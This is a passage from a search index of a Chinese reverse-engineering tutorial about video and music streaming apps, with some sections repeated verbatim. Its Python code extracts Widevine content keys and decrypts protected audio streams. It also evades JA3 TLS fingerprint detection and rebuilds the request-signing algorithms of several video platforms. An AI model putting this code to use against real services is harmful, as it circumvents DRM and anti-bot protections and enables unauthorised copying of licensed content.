PlayPlay API AAC (M4A) Widevine DRM 128/256 kbps Widevine License API PlayPlay 解密 (Vorbis 格式): def decrypt_playplay(self, decryption_key, encrypted_path, decrypted_path): \"\"\"某破天 自研 PlayPlay 加密使用 AES-CTR 模式\"\"\" cipher = AES.new( decryption_key, AES.MODE_CTR, nonce=bytes.fromhex(\"72e067fbddcb****\"), # 固定 Nonce initial_value=bytes.fromhex(\"ebe8bc643f63****\"), # 固定 IV ) with open(encrypted_path, \"rb\") as f: encrypted_data = f.read() decrypted_data = cipher.decrypt(encrypted_data) # 查找 OGG 文件头 offset = decrypted_data.find(b\"OggS\") with open(decrypted_path, \"wb\") as f: f.write(decrypted_data[offset:]) JA3 指纹检测绕过: 某破天 使用 JA3 指纹检测来识别非官方客户端。绕过方案： from curl_cffi import requests as curl_requests # 使用 curl_cffi 模拟 Chrome 的 TLS 指纹 session = curl_requests.Session(impersonate=\"chrome120\") 无头浏览器保活 (Token 自动刷新): 某破天 的 accessToken 有效期较短，且 TOTP 认","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某果音乐"},{"categories":null,"collections":null,"content":"音乐流媒体平台 (某果音乐, 某破天) 音乐流媒体平台同样采用 DRM 保护其内容，但由于音频文件体积较小、交互模式不同，其加密方案与视频平台有所差异。 某果音乐 某果音乐采用 Widevine DRM + HLS 的组合方案保护其音频内容。 认证体系: accessToken: 从 Web 端 JavaScript 中提取的 JWT Token，用于 API 认证 mediaUserToken: 用户身份令牌，存储在 Cookie 中，用于访问个人化内容和高品质音源 API 架构: class AppleMusicAPI: # 元数据 API - 获取专辑、歌曲、播放列表信息 METADATA_API = \"https://amp-api.music.apple.com/v1/catalog/{storefront}/{type}s/{id}\" # 播放信息 API - 获取音频流地址和加密参数 WEBPLAYBACK_API = \"https://play.itunes.apple.com/WebObjects/MZPlay.woa/wa/webPlayback\" def get_webplayback(self, adam_id): \"\"\"获取音频播放信息\"\"\" return self.session.post( self.WEBPLAYBACK_API, json={'salableAdamId': adam_id} ).json()[\"songList\"][0] DRM 解密流程: 从 webPlayback 接口获取 HLS 播放列表 URL 解析 .m3u8 文件，提取 #EXT-X-KEY 中的 PSSH 数据 使用 Widevine CDM 构造 License Challenge 向 hls-key-server-url 发送许可证请求 解析 License 响应，提取 AES 解密密钥 使用密钥解密音频分片 def get_decryption_key(self, song_id, pssh): \"\"\"获取音频解密密钥\"\"\" # 构造 Widevine PSSH 对象 widevine_pssh = WidevinePsshData() widevine_pssh.algorithm = 1 widevine_pssh.key_ids.append(base64.b64decode(pssh.split(\",\")[1])) # 获取 License Challenge pssh_obj = PSSH(widevine_pssh.SerializeToString()) session = self.cdm.open() challenge = base64.b64encode( self.cdm.get_license_challenge(session, pssh_obj) ).decode() # 请求 License license_resp = self.session.post( self.license_url, json={ \"adamId\": song_id, \"challenge\": challenge, \"key-system\": \"com.widevine.alpha\", \"uri\": f\"data:;base64,{pssh}\", } ).json() # 解析密钥 self.cdm.parse_license(session, license_resp[\"license\"]) return next( k for k in self.cdm.get_keys(session) if k.type == \"CONTENT\" ).key.hex() 音频格式: 主要使用 28:ctrp256 格式 (256kbps AAC)，通过 HLS 协议分发。 某破天 某破天 采用双轨加密方案，根据音频格式使用不同的加密机制。 认证体系: sp_dc Cookie: 用户会话凭证，从浏览器 Cookie 中提取 TOTP 令牌: 时间动态令牌，用于生成 accessToken (详见 TOTP 技术原理) Client Token: 设备认证令牌，包含设备指纹信息 TOTP 认证机制 (关键反爬措施): class MusicTOTP: \"\"\"某破天 使用动态 TOTP 进行 API 认证\"\"\" def __init__(self): # 从远程获取 TOTP 参数 (需要定期更新) self.version = self._fetch_param(\"VERSION\") self.period = self._fetch_param(\"PERIOD\") self.digits = self._fetch_param(\"DIGITS\") self.secret = self._derive_secret() def generate(self, timestamp_ms): \"\"\"生成 TOTP 令牌\"\"\" counter = timestamp_ms // 1000 // self.period counter_bytes = counter.to_bytes(8, byteorder=\"big\") h = hmac.new(self.secret, counter_bytes, hashlib.sha1) hmac_result = h.digest() offset = hmac_result[-1] \u0026 0x0F binary = ( (hmac_result[offset] \u0026 0x7F) \u003c\u003c 24 | (hmac_result[offset + 1] \u0026 0xFF) \u003c\u003c 16 | (hmac_result[offset + 2] \u0026 0xFF) \u003c\u003c 8 | (hmac_result[offset + 3] \u0026 0xFF) ) return str(binary % (10 ** self.digits)).zfill(self.digits) API 架构: class MusicAPI: # 元数据 API METADATA_API = \"https://api.example.com/v1/{type}/{item_id}\" # 播放信息 API PLAYBACK_API = \"https://gue1-spclient.example.com/track-playback/v1/media/{type}:{id}\" # 流地址解析 API STREAM_API = \"https://gue1-spclient.example.com/storage-resolve/v2/files/audio/interactive/11/{file_id}\" # Widevine 许可证 API (AAC 格式) WIDEVINE_LICENSE_API = \"https://gue1-spclient.example.com/widevine-license/v1/{type}/license\" # PlayPlay 许可证 API (Vorbis 格式) PLAYPLAY_LICENSE_API = \"https://gew4-spclient.example.com/playplay/v1/key/{file_id}\" 双轨加密方案: 格式 加密方式 品质 密钥获取 OGG Vorbis PlayPlay (AES-CTR) 96/160/320 kbps PlayPlay API AAC (M4A) Widevine DRM 128/256 kbps Widevine License API PlayPlay 解密 (Vorbis 格式): def decrypt_playplay(self, decryption_key, encrypted_path, decrypted_path): \"\"\"某破天 自研 PlayPlay 加密使用 AES-CTR 模式\"\"\" cipher = AES.new( decryption_key, AES.MODE_CTR, nonce=bytes.fromhex(\"72e067fbddcb****\"), # 固定 Nonce initial_value=bytes.fromhex(\"ebe8bc643f63****\"), # 固定 IV ) with open(encrypted_path, \"rb\") as f: encrypted_data = f.read() decrypted_data = cipher.decrypt(encrypted_data) # 查找 OGG 文件头 offset = decrypted_data.find(b\"OggS\") with open(decrypted_path, \"wb\") as f: f.write(decrypted_data[offset:]) JA3 指纹检测绕过: 某破天 使用 JA3 指纹检测来识别非官方客户端。绕过方案： from curl_cffi import requests as curl_requests # 使用 curl_cffi 模拟 Chrome 的 TLS 指纹 session = curl_requests.Session(impersonate=\"chrome120\") 无头浏览器保活 (Token 自动刷新): 某破天 的 accessToken 有效期较短，且 TOTP 认","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某破天"},{"categories":null,"collections":null,"content":"视频平台 API 签名实战 💡 思路一句话: 抓包定位签名参数（通常在 URL query 或请求头中）→ jadx 搜索参数名追溯签名生成逻辑 → Frida hook 签名函数验证 → 还原签名算法。 以下是基于 yt-dlp 项目的真实实现分析，展示了如何逆向还原各平台的视频获取逻辑。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#视频平台-api-签名实战"},{"categories":null,"collections":null,"content":"B 某站 WBI 签名机制 B 某站使用 WBI (Web 接口签名) 机制保护其 API 接口。 WBI 密钥获取与签名 class BiliBaseIE: _WBI_KEY_CACHE_TIMEOUT = 30 # 密钥缓存 30 秒 def _get_wbi_key(self, video_id): \"\"\"从 nav 接口获取 WBI 签名密钥\"\"\" if time.time() \u003c self._wbi_key_cache.get('ts', 0) + self._WBI_KEY_CACHE_TIMEOUT: return self._wbi_key_cache['key'] # 获取 img_url 和 sub_url 中的文件名 session_data = self._download_json( 'https://api.example.com/x/web-interface/nav', video_id, note='Downloading wbi sign') lookup = ''.join(traverse_obj(session_data, ( 'data', 'wbi_img', ('img_url', 'sub_url'), {lambda x: x.rpartition('/')[2].partition('.')[0]}))) # getMixinKey() 的置换表 - 从 B某站 前端 JS 逆向得到 mixin_key_enc_tab = [ 46, 47, 18, 2, 53, 8, 23, 32, 15, 50, 10, 31, 58, 3, 45, 35, 27, 43, 5, 49, 33, 9, 42, 19, 29, 28, 14, 39, 12, 38, 41, 13, 37, 48, 7, 16, 24, 55, 40, 61, 26, 17, 0, 1, 60, 51, 30, 4, 22, 25, 54, 21, 56, 59, 6, 63, 57, 62, 11, 36, 20, 34, 44, 52, ] # 通过置换表生成最终密钥 self._wbi_key_cache.update({ 'key': ''.join(lookup[i] for i in mixin_key_enc_tab)[:32], 'ts': time.time(), }) return self._wbi_key_cache['key'] def _sign_wbi(self, params, video_id): \"\"\"对请求参数进行 WBI 签名\"\"\" params['wts'] = round(time.time()) # 过滤特殊字符 params = { k: ''.join(filter(lambda char: char not in \"!'()*\", str(v))) for k, v in sorted(params.items()) } query = urllib.parse.urlencode(params) # 计算 w_rid = md5(query + wbi_key) params['w_rid'] = hashlib.md5( f'{query}{self._get_wbi_key(video_id)}'.encode() ).hexdigest() return params 视频格式提取 def extract_formats(self, play_info): \"\"\"从 playurl 接口提取视频格式\"\"\" formats = [] # 提取音频轨道 (DASH) audios = traverse_obj(play_info, ('dash', (None, 'dolby'), 'audio', ...)) flac_audio = traverse_obj(play_info, ('dash', 'flac', 'audio')) if flac_audio: audios.append(flac_audio) for audio in audios: formats.append({ 'url': traverse_obj(audio, 'baseUrl', 'base_url', 'url'), 'acodec': traverse_obj(audio, ('codecs', {str.lower})), 'vcodec': 'none', 'tbr': float_or_none(audio.get('bandwidth'), scale=1000), }) # 提取视频轨道 (DASH) for video in traverse_obj(play_info, ('dash', 'video', ...)): formats.append({ 'url': traverse_obj(video, 'baseUrl', 'base_url', 'url'), 'fps': float_or_none(traverse_obj(video, 'frameRate', 'frame_rate')), 'width': int_or_none(video.get('width')), 'height': int_or_none(video.get('height')), 'vcodec': video.get('codecs'), 'acodec': 'none', 'dynamic_range': {126: 'DV', 125: 'HDR10'}.get(video.get('id')), }) return formats ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#b-某站-wbi-签名机制"},{"categories":null,"collections":null,"content":"B 某站 WBI 签名机制 B 某站使用 WBI (Web 接口签名) 机制保护其 API 接口。 WBI 密钥获取与签名 class BiliBaseIE: _WBI_KEY_CACHE_TIMEOUT = 30 # 密钥缓存 30 秒 def _get_wbi_key(self, video_id): \"\"\"从 nav 接口获取 WBI 签名密钥\"\"\" if time.time() \u003c self._wbi_key_cache.get('ts', 0) + self._WBI_KEY_CACHE_TIMEOUT: return self._wbi_key_cache['key'] # 获取 img_url 和 sub_url 中的文件名 session_data = self._download_json( 'https://api.example.com/x/web-interface/nav', video_id, note='Downloading wbi sign') lookup = ''.join(traverse_obj(session_data, ( 'data', 'wbi_img', ('img_url', 'sub_url'), {lambda x: x.rpartition('/')[2].partition('.')[0]}))) # getMixinKey() 的置换表 - 从 B某站 前端 JS 逆向得到 mixin_key_enc_tab = [ 46, 47, 18, 2, 53, 8, 23, 32, 15, 50, 10, 31, 58, 3, 45, 35, 27, 43, 5, 49, 33, 9, 42, 19, 29, 28, 14, 39, 12, 38, 41, 13, 37, 48, 7, 16, 24, 55, 40, 61, 26, 17, 0, 1, 60, 51, 30, 4, 22, 25, 54, 21, 56, 59, 6, 63, 57, 62, 11, 36, 20, 34, 44, 52, ] # 通过置换表生成最终密钥 self._wbi_key_cache.update({ 'key': ''.join(lookup[i] for i in mixin_key_enc_tab)[:32], 'ts': time.time(), }) return self._wbi_key_cache['key'] def _sign_wbi(self, params, video_id): \"\"\"对请求参数进行 WBI 签名\"\"\" params['wts'] = round(time.time()) # 过滤特殊字符 params = { k: ''.join(filter(lambda char: char not in \"!'()*\", str(v))) for k, v in sorted(params.items()) } query = urllib.parse.urlencode(params) # 计算 w_rid = md5(query + wbi_key) params['w_rid'] = hashlib.md5( f'{query}{self._get_wbi_key(video_id)}'.encode() ).hexdigest() return params 视频格式提取 def extract_formats(self, play_info): \"\"\"从 playurl 接口提取视频格式\"\"\" formats = [] # 提取音频轨道 (DASH) audios = traverse_obj(play_info, ('dash', (None, 'dolby'), 'audio', ...)) flac_audio = traverse_obj(play_info, ('dash', 'flac', 'audio')) if flac_audio: audios.append(flac_audio) for audio in audios: formats.append({ 'url': traverse_obj(audio, 'baseUrl', 'base_url', 'url'), 'acodec': traverse_obj(audio, ('codecs', {str.lower})), 'vcodec': 'none', 'tbr': float_or_none(audio.get('bandwidth'), scale=1000), }) # 提取视频轨道 (DASH) for video in traverse_obj(play_info, ('dash', 'video', ...)): formats.append({ 'url': traverse_obj(video, 'baseUrl', 'base_url', 'url'), 'fps': float_or_none(traverse_obj(video, 'frameRate', 'frame_rate')), 'width': int_or_none(video.get('width')), 'height': int_or_none(video.get('height')), 'vcodec': video.get('codecs'), 'acodec': 'none', 'dynamic_range': {126: 'DV', 125: 'HDR10'}.get(video.get('id')), }) return formats ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#wbi-密钥获取与签名"},{"categories":null,"collections":null,"content":"B 某站 WBI 签名机制 B 某站使用 WBI (Web 接口签名) 机制保护其 API 接口。 WBI 密钥获取与签名 class BiliBaseIE: _WBI_KEY_CACHE_TIMEOUT = 30 # 密钥缓存 30 秒 def _get_wbi_key(self, video_id): \"\"\"从 nav 接口获取 WBI 签名密钥\"\"\" if time.time() \u003c self._wbi_key_cache.get('ts', 0) + self._WBI_KEY_CACHE_TIMEOUT: return self._wbi_key_cache['key'] # 获取 img_url 和 sub_url 中的文件名 session_data = self._download_json( 'https://api.example.com/x/web-interface/nav', video_id, note='Downloading wbi sign') lookup = ''.join(traverse_obj(session_data, ( 'data', 'wbi_img', ('img_url', 'sub_url'), {lambda x: x.rpartition('/')[2].partition('.')[0]}))) # getMixinKey() 的置换表 - 从 B某站 前端 JS 逆向得到 mixin_key_enc_tab = [ 46, 47, 18, 2, 53, 8, 23, 32, 15, 50, 10, 31, 58, 3, 45, 35, 27, 43, 5, 49, 33, 9, 42, 19, 29, 28, 14, 39, 12, 38, 41, 13, 37, 48, 7, 16, 24, 55, 40, 61, 26, 17, 0, 1, 60, 51, 30, 4, 22, 25, 54, 21, 56, 59, 6, 63, 57, 62, 11, 36, 20, 34, 44, 52, ] # 通过置换表生成最终密钥 self._wbi_key_cache.update({ 'key': ''.join(lookup[i] for i in mixin_key_enc_tab)[:32], 'ts': time.time(), }) return self._wbi_key_cache['key'] def _sign_wbi(self, params, video_id): \"\"\"对请求参数进行 WBI 签名\"\"\" params['wts'] = round(time.time()) # 过滤特殊字符 params = { k: ''.join(filter(lambda char: char not in \"!'()*\", str(v))) for k, v in sorted(params.items()) } query = urllib.parse.urlencode(params) # 计算 w_rid = md5(query + wbi_key) params['w_rid'] = hashlib.md5( f'{query}{self._get_wbi_key(video_id)}'.encode() ).hexdigest() return params 视频格式提取 def extract_formats(self, play_info): \"\"\"从 playurl 接口提取视频格式\"\"\" formats = [] # 提取音频轨道 (DASH) audios = traverse_obj(play_info, ('dash', (None, 'dolby'), 'audio', ...)) flac_audio = traverse_obj(play_info, ('dash', 'flac', 'audio')) if flac_audio: audios.append(flac_audio) for audio in audios: formats.append({ 'url': traverse_obj(audio, 'baseUrl', 'base_url', 'url'), 'acodec': traverse_obj(audio, ('codecs', {str.lower})), 'vcodec': 'none', 'tbr': float_or_none(audio.get('bandwidth'), scale=1000), }) # 提取视频轨道 (DASH) for video in traverse_obj(play_info, ('dash', 'video', ...)): formats.append({ 'url': traverse_obj(video, 'baseUrl', 'base_url', 'url'), 'fps': float_or_none(traverse_obj(video, 'frameRate', 'frame_rate')), 'width': int_or_none(video.get('width')), 'height': int_or_none(video.get('height')), 'vcodec': video.get('codecs'), 'acodec': 'none', 'dynamic_range': {126: 'DV', 125: 'HDR10'}.get(video.get('id')), }) return formats ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#视频格式提取"},{"categories":null,"collections":null,"content":"某奇艺 SDK 签名算法 某奇艺使用复杂的 SDK 进行请求签名，其核心是多轮 MD5 变换。 SDK 解释器实现 class VideoSDK: def __init__(self, target, ip, timestamp): self.target = target self.ip = ip self.timestamp = timestamp @staticmethod def split_sum(data): \"\"\"将十六进制字符串每个字符转为整数求和\"\"\" return str(sum(int(p, 16) for p in data)) @staticmethod def digit_sum(num): \"\"\"计算数字各位之和\"\"\" return str(sum(map(int, str(num)))) def even_odd(self): \"\"\"分离时间戳的奇偶位\"\"\" even = self.digit_sum(str(self.timestamp)[::2]) odd = self.digit_sum(str(self.timestamp)[1::2]) return even, odd def mod(self, modulus): \"\"\"对 IP 地址取模并拼接\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() chunks = [self.target[i*32:(i+1)*32] for i in range(1)] ip = list(map(int, self.ip.split('.'))) self.target = chunks[0] + ''.join(str(p % modulus) for p in ip) def split(self, chunksize): \"\"\"按块大小分割并与 IP 混合\"\"\" modulus_map = {4: 256, 5: 10, 8: 100} self.target = hashlib.md5(self.target.encode()).hexdigest() chunks = [self.target[i*chunksize:(i+1)*chunksize] for i in range(32 // chunksize)] ip = list(map(int, self.ip.split('.'))) ret = '' for i, chunk in enumerate(chunks): ip_part = str(ip[i] % modulus_map[chunksize]) if i \u003c 4 else '' ret += (ip_part + chunk) if chunksize == 8 else (chunk + ip_part) self.target = ret def handle_input16(self): \"\"\"16 字节分割处理\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() self.target = (self.split_sum(self.target[:16]) + self.target + self.split_sum(self.target[16:])) def date(self, scheme): \"\"\"日期混合 (y/m/d 组合)\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() d = time.localtime(self.timestamp) strings = {'y': str(d.tm_year), 'm': f'{d.tm_mon:02d}', 'd': f'{d.tm_mday:02d}'} self.target += ''.join(strings[c] for c in scheme) class VideoSDKInterpreter: \"\"\"动态解释执行从服务器获取的 SDK 代码\"\"\" def __init__(self, sdk_code): self.sdk_code = sdk_code def run(self, target, ip, timestamp): # 解码混淆的 JS 代码 self.sdk_code = decode_packed_codes(self.sdk_code) # 提取函数调用序列 functions = re.findall(r'input=([a-zA-Z0-9]+)\\(input', self.sdk_code) sdk = VideoSDK(target, ip, timestamp) for function in functions: if re.match(r'mod\\d+', function): sdk.mod(int(function[3:])) elif re.match(r'date[ymd]{3}', function): sdk.date(function[4:]) elif re.match(r'split\\d+', function): sdk.split(int(function[5:])) # ... 其他函数映射 return sdk.target 登录与密钥获取 def get_raw_data(self, tvid, video_id): \"\"\"获取视频播放数据\"\"\" tm = int(time.time() * 1000) key = 'd5fb4bd9d50c4be6948c97edd7254***' # 硬编码密钥 sc = hashlib.md5((str(tm) + key + tvid).encode()).hexdigest() params = { 'tvid': tvid, 'vid': video_id, 'src': '76f90cbd92f94a2e925d83e8ccd22***', 'sc': sc, 't': tm, } return self._download_json(api_url, video_id, query=params) ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某奇艺-sdk-签名算法"},{"categories":null,"collections":null,"content":"某奇艺 SDK 签名算法 某奇艺使用复杂的 SDK 进行请求签名，其核心是多轮 MD5 变换。 SDK 解释器实现 class VideoSDK: def __init__(self, target, ip, timestamp): self.target = target self.ip = ip self.timestamp = timestamp @staticmethod def split_sum(data): \"\"\"将十六进制字符串每个字符转为整数求和\"\"\" return str(sum(int(p, 16) for p in data)) @staticmethod def digit_sum(num): \"\"\"计算数字各位之和\"\"\" return str(sum(map(int, str(num)))) def even_odd(self): \"\"\"分离时间戳的奇偶位\"\"\" even = self.digit_sum(str(self.timestamp)[::2]) odd = self.digit_sum(str(self.timestamp)[1::2]) return even, odd def mod(self, modulus): \"\"\"对 IP 地址取模并拼接\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() chunks = [self.target[i*32:(i+1)*32] for i in range(1)] ip = list(map(int, self.ip.split('.'))) self.target = chunks[0] + ''.join(str(p % modulus) for p in ip) def split(self, chunksize): \"\"\"按块大小分割并与 IP 混合\"\"\" modulus_map = {4: 256, 5: 10, 8: 100} self.target = hashlib.md5(self.target.encode()).hexdigest() chunks = [self.target[i*chunksize:(i+1)*chunksize] for i in range(32 // chunksize)] ip = list(map(int, self.ip.split('.'))) ret = '' for i, chunk in enumerate(chunks): ip_part = str(ip[i] % modulus_map[chunksize]) if i \u003c 4 else '' ret += (ip_part + chunk) if chunksize == 8 else (chunk + ip_part) self.target = ret def handle_input16(self): \"\"\"16 字节分割处理\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() self.target = (self.split_sum(self.target[:16]) + self.target + self.split_sum(self.target[16:])) def date(self, scheme): \"\"\"日期混合 (y/m/d 组合)\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() d = time.localtime(self.timestamp) strings = {'y': str(d.tm_year), 'm': f'{d.tm_mon:02d}', 'd': f'{d.tm_mday:02d}'} self.target += ''.join(strings[c] for c in scheme) class VideoSDKInterpreter: \"\"\"动态解释执行从服务器获取的 SDK 代码\"\"\" def __init__(self, sdk_code): self.sdk_code = sdk_code def run(self, target, ip, timestamp): # 解码混淆的 JS 代码 self.sdk_code = decode_packed_codes(self.sdk_code) # 提取函数调用序列 functions = re.findall(r'input=([a-zA-Z0-9]+)\\(input', self.sdk_code) sdk = VideoSDK(target, ip, timestamp) for function in functions: if re.match(r'mod\\d+', function): sdk.mod(int(function[3:])) elif re.match(r'date[ymd]{3}', function): sdk.date(function[4:]) elif re.match(r'split\\d+', function): sdk.split(int(function[5:])) # ... 其他函数映射 return sdk.target 登录与密钥获取 def get_raw_data(self, tvid, video_id): \"\"\"获取视频播放数据\"\"\" tm = int(time.time() * 1000) key = 'd5fb4bd9d50c4be6948c97edd7254***' # 硬编码密钥 sc = hashlib.md5((str(tm) + key + tvid).encode()).hexdigest() params = { 'tvid': tvid, 'vid': video_id, 'src': '76f90cbd92f94a2e925d83e8ccd22***', 'sc': sc, 't': tm, } return self._download_json(api_url, video_id, query=params) ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#sdk-解释器实现"},{"categories":null,"collections":null,"content":"某奇艺 SDK 签名算法 某奇艺使用复杂的 SDK 进行请求签名，其核心是多轮 MD5 变换。 SDK 解释器实现 class VideoSDK: def __init__(self, target, ip, timestamp): self.target = target self.ip = ip self.timestamp = timestamp @staticmethod def split_sum(data): \"\"\"将十六进制字符串每个字符转为整数求和\"\"\" return str(sum(int(p, 16) for p in data)) @staticmethod def digit_sum(num): \"\"\"计算数字各位之和\"\"\" return str(sum(map(int, str(num)))) def even_odd(self): \"\"\"分离时间戳的奇偶位\"\"\" even = self.digit_sum(str(self.timestamp)[::2]) odd = self.digit_sum(str(self.timestamp)[1::2]) return even, odd def mod(self, modulus): \"\"\"对 IP 地址取模并拼接\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() chunks = [self.target[i*32:(i+1)*32] for i in range(1)] ip = list(map(int, self.ip.split('.'))) self.target = chunks[0] + ''.join(str(p % modulus) for p in ip) def split(self, chunksize): \"\"\"按块大小分割并与 IP 混合\"\"\" modulus_map = {4: 256, 5: 10, 8: 100} self.target = hashlib.md5(self.target.encode()).hexdigest() chunks = [self.target[i*chunksize:(i+1)*chunksize] for i in range(32 // chunksize)] ip = list(map(int, self.ip.split('.'))) ret = '' for i, chunk in enumerate(chunks): ip_part = str(ip[i] % modulus_map[chunksize]) if i \u003c 4 else '' ret += (ip_part + chunk) if chunksize == 8 else (chunk + ip_part) self.target = ret def handle_input16(self): \"\"\"16 字节分割处理\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() self.target = (self.split_sum(self.target[:16]) + self.target + self.split_sum(self.target[16:])) def date(self, scheme): \"\"\"日期混合 (y/m/d 组合)\"\"\" self.target = hashlib.md5(self.target.encode()).hexdigest() d = time.localtime(self.timestamp) strings = {'y': str(d.tm_year), 'm': f'{d.tm_mon:02d}', 'd': f'{d.tm_mday:02d}'} self.target += ''.join(strings[c] for c in scheme) class VideoSDKInterpreter: \"\"\"动态解释执行从服务器获取的 SDK 代码\"\"\" def __init__(self, sdk_code): self.sdk_code = sdk_code def run(self, target, ip, timestamp): # 解码混淆的 JS 代码 self.sdk_code = decode_packed_codes(self.sdk_code) # 提取函数调用序列 functions = re.findall(r'input=([a-zA-Z0-9]+)\\(input', self.sdk_code) sdk = VideoSDK(target, ip, timestamp) for function in functions: if re.match(r'mod\\d+', function): sdk.mod(int(function[3:])) elif re.match(r'date[ymd]{3}', function): sdk.date(function[4:]) elif re.match(r'split\\d+', function): sdk.split(int(function[5:])) # ... 其他函数映射 return sdk.target 登录与密钥获取 def get_raw_data(self, tvid, video_id): \"\"\"获取视频播放数据\"\"\" tm = int(time.time() * 1000) key = 'd5fb4bd9d50c4be6948c97edd7254***' # 硬编码密钥 sc = hashlib.md5((str(tm) + key + tvid).encode()).hexdigest() params = { 'tvid': tvid, 'vid': video_id, 'src': '76f90cbd92f94a2e925d83e8ccd22***', 'sc': sc, 't': tm, } return self._download_json(api_url, video_id, query=params) ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#登录与密钥获取"},{"categories":null,"collections":null,"content":"某讯视频 cKey 加密 某讯视频使用 AES-CBC 加密生成 cKey 参数。 cKey 生成算法 from aes import aes_cbc_encrypt_bytes class TencentBaseIE: _APP_VERSION = '3.5.57' _PLATFORM = '10901' def _get_ckey(self, video_id, url, guid): \"\"\"生成 cKey 加密参数\"\"\" ua = self.get_param('http_headers')['User-Agent'] # 构造 payload: vid|timestamp|magic|version|guid|platform|url|ua||Mozilla|... payload = ( f'{video_id}|{int(time.time())}|mg3c3b04ba|{self._APP_VERSION}|' f'{guid}|{self._PLATFORM}|{url[:48]}|{ua.lower()[:48]}||Mozilla|' f'Netscape|Windows x86_64|00|' ) # AES-CBC 加密 # Key: Ok\\xda\\xa3\\x9e/\\x8c\\xb0\\x7f^r-\\x9e\\xde\\x**\\x** # IV: \\x01PJ\\xf3V\\xe6\\x19\\xcf.B\\xbb\\xa6\\x**?**\\x** encrypted = aes_cbc_encrypt_bytes( bytes(f'|{sum(map(ord, payload))}|{payload}', 'utf-8'), b'Ok\\xda\\xa3\\x9e/\\x8c\\xb0\\x7f^r-\\x9e\\xde\\x**\\x**', b'\\x01PJ\\xf3V\\xe6\\x19\\xcf.B\\xbb\\xa6\\x**?**\\x**', padding_mode='whitespace' ) return encrypted.hex().upper() def _get_video_api_response(self, video_url, video_id, series_id, ...): \"\"\"请求视频 API\"\"\" guid = ''.join(random.choices(string.digits + string.ascii_lowercase, k=16)) ckey = self._get_ckey(video_id, video_url, guid) query = { 'vid': video_id, 'cid': series_id, 'cKey': ckey, 'encryptVer': '8.1', 'sphls': '2', # HLS 格式 'dtype': '3', 'defn': video_quality, 'sphttps': '1', # 启用 HTTPS 'hevclv': '28', # 启用 HEVC 'drm': '40', # DRM 标识 'guid': guid, 'flowid': ''.join(random.choices(string.ascii_lowercase + string.digits, k=32)), } return self._download_json(self._API_URL, video_id, query=query) ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某讯视频-ckey-加密"},{"categories":null,"collections":null,"content":"某讯视频 cKey 加密 某讯视频使用 AES-CBC 加密生成 cKey 参数。 cKey 生成算法 from aes import aes_cbc_encrypt_bytes class TencentBaseIE: _APP_VERSION = '3.5.57' _PLATFORM = '10901' def _get_ckey(self, video_id, url, guid): \"\"\"生成 cKey 加密参数\"\"\" ua = self.get_param('http_headers')['User-Agent'] # 构造 payload: vid|timestamp|magic|version|guid|platform|url|ua||Mozilla|... payload = ( f'{video_id}|{int(time.time())}|mg3c3b04ba|{self._APP_VERSION}|' f'{guid}|{self._PLATFORM}|{url[:48]}|{ua.lower()[:48]}||Mozilla|' f'Netscape|Windows x86_64|00|' ) # AES-CBC 加密 # Key: Ok\\xda\\xa3\\x9e/\\x8c\\xb0\\x7f^r-\\x9e\\xde\\x**\\x** # IV: \\x01PJ\\xf3V\\xe6\\x19\\xcf.B\\xbb\\xa6\\x**?**\\x** encrypted = aes_cbc_encrypt_bytes( bytes(f'|{sum(map(ord, payload))}|{payload}', 'utf-8'), b'Ok\\xda\\xa3\\x9e/\\x8c\\xb0\\x7f^r-\\x9e\\xde\\x**\\x**', b'\\x01PJ\\xf3V\\xe6\\x19\\xcf.B\\xbb\\xa6\\x**?**\\x**', padding_mode='whitespace' ) return encrypted.hex().upper() def 